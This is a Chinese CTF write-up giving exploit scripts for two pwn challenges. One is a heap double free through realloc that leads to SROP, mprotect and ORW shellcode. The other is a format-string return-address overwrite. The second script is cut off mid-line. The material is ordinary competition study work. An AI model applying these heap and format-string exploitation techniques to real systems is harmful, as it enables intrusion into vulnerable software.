DASCTF&NepCTF 部分writeup

PWN

oooorder

一道不太复杂的题目，利用点都是之前遇到的，运气好拿到了一血

edit中进行了realloc，如果size为0就会执行free，利用这个进行double free，由于禁用了execve，需要用setcontext执行mprotect并执行orw的shellcode

关于orw部分，具体请见这篇博客：BUUCTF-PWN rctf_2019_babyheap（house of storm，堆SROP）

from pwn import *


r = remote("183.129.189.60", 10028)
#r = process("./oooorder/oooorder")


context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0x1355)
	c
	''')


elf = ELF("./oooorder/oooorder")
libc = ELF('./oooorder/libc-2.27.so')
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]


menu = "Your choice :\n"
def add(size, payload):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("How much is the order?\n")
	r.sendline(str(size))
	r.recvuntil("Order notes:\n")
	r.send(payload)


def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index of order:\n")
	r.sendline(str(index))


def show():
	r.recvuntil(menu)
	r.sendline('3')




def edit(index, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index of order:\n")
	r.sendline(str(index))
	r.recvuntil("Order notes:\n")
	r.send(content)


for i in range(8):
	add(0x130, 'KMFL')


for i in range(8):
	delete(7-i)


for i in range(7):
	add(0x130, 'a'*8)


add(0x30, 'a'*8) #7
show()
r.recvuntil('[7]:aaaaaaaa')
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000


mov eax,0
syscall


jmp rsi
''' % new_addr


frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']


shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax


mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall


mov rdi, rax ;// fd 
mov rsi,rsp  ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall


mov rdi, 1 ;// fd 
mov rsi, rsp ;// buf
mov rdx, rax ;// count 
mov rax, 1 ;// SYS_write
syscall


mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''


# add 8
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("How much is the order?\n")
r.sendline('0')


# delete 8
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index of order:\n")
r.sendline('8')


# delete 8
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index of order:\n")
r.sendline('8')


show()
r.recvuntil('[8]:')
heap = u64(r.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
heap_base = heap - 0xd80
success("heap_base:"+hex(heap_base))


edit(5, str(frame))
delete(6)
add(0x10, p64(heap_base+0xe0))
add(0x10, p64(free_hook)*2)


payload = p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1)
add(0x130, payload)
delete(5)
r.sendline(asm(shellcode2))


r.interactive()

springboard

格式化字符串漏洞，字符串在堆上，先泄露libc，然后利用栈上的一些指向栈空间的指针把返回地址改成one gadget 即可
我原来的博客里有详细解法：BUUCTF-PWN刷题记录-18（格式化字符串漏洞）

from pwn import *


r = remote("183.129.189.60", 10029)
#r = process("./springboard")
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *$rebase(0x956)
	b *$rebase(0x97F)
	c
	''')
context.log_level = 'debug'
libc = ELF("./libc/libc-2.27.so")


r.recvuntil("input your name:")
payload = '%11$p\n%13$p\n'
r.sendline(payload)
r.recvuntil("your name:\n")
libc.address = int(r.recvuntil('\n').strip(), 16) - 231 - libc.sym['__libc_start_main']
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_18[2] + libc.address
success("one_gadget:"+hex(one_gadget))
stack = int(r.recvuntil('\n').strip(), 16)
ret_addr = stack - 0xe0
success("ret:"+hex(ret_addr))


num = ret_addr & 0xFFFF
r.recvuntil("input your name:")
payload = '%' + str(num) + 'c%13$hn\n'
r.sendline(payload)


num =